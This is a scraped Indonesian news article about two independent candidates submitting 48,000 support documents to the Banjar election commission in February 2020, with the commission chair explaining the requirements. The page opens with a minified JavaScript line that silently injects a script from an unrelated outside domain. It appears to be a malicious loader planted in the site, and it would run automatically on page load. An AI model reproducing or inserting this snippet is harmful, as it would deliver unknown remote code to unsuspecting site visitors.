(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bawa rombongan alim ulama, pasangan Andin Sofyanoor dan KH Syarif Bustomi -Guru Oton- menyerahkan dokumen syarat dukungan bakal pasangan calon perseorangan pemilihan Bupati dan Wakil Bupati Banjar tahun 2020 ke KPU Banjar, Rabu (19/2/2020).
“Ulun mewakili calon dari perseorangan, mengucapkan terimakasih kepada kawan-kawan dari KPU dan komisioner. Kami adalah yang pertama datang ke KPU Banjar dan kami jualah yang pertama memberi sambutan sekaligus mendaftarkan diri, kami hari ini banyak membawa rombongan kebetulan banyak guru dan alim ulama,†kata Andin.
Menurut Andin, dirinya ke sini membawa berkas dan ingin beraprtisipasi yang mana diberikan hak untuk turun serta mendaftar ke KPU sebagai calon perorangan. “Harapan besar kami sebagai peserta Pilkada, kita semua diperlakukan yang sama, baik kepada semua yang mendaftar ke sini, nanti,†katanya.
Tambah Andin, karena hari ini diberikan batasan minimum harus menyerahkan berkas sebanyak 35.257 berkas. Maka atas dasar pertimbangan agar KPU tidak terlalu ribet dalam menghitung pihaknya menyerahkan sedikit lebih sebanyak dukungan sebanyak 48.000 yang tersebar di 20 kecamatan se Kabupaten Banjar.
“Kalau ditanya seberapa sebaran berkas dukungan yang kita serahkan pada hari ini, Alhamdulilah akhirnya dukungan itu datang tidak hanya dari 11 kecamatan, namun 20 kecamatan dan hampir di 270 desa se Kabupaten Banjar sudah ada memberikan dukungan kepada kami,†pungkasnya.
Sementara itu, Ketua KPU Banjar Muhaimi mengatakan, adapun sesuai dengan persyaratan di masa penyerahan calon perorangan, mekanismenya ada 3 formulir penting yang harus diserahkan bakal calon Bupati-Wakil Bupati, seperti surat pernyataan dukungan, hingga tabel daftar nama pendukung yang ditandatangani bakal pasangan calon hingga tingkat desa, dan rekapitulasi jumlah dukungan untuk mengetahui berapa sebarannya.
“Minimal dukungan itu harus 35.237 atau 8,5persen dari DPT terakhir, dukungan yang disertai dengan foto copy KTP dan tandatangan serta minimal tersebar di 11 kecamatan, initinya hari ini kita akan memeriksa 3 formulir tersebut yang mana dibantu dengan Bawaslu Banjar juga, kita akan lihat jumlah dukungan itu apakah memenuhi syarat,” kata Muhaimin.
Ditambahkan Muhaimin , apabila ada ketidak sesuaian di berkas yang diserahkan oleh bakal calon pasangan perseorangan ini, bisa di betulkan hingga tanggal 19 hingga 26 Februari 2020 mendatang.
“Jika di tanggal 19 hingga 26 Februari itu ada perlu perbaikan berkas, maka tim teknis akan mengembalikan syarat-syarat tadi untuk diperbaiki, ” pungkasnya. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.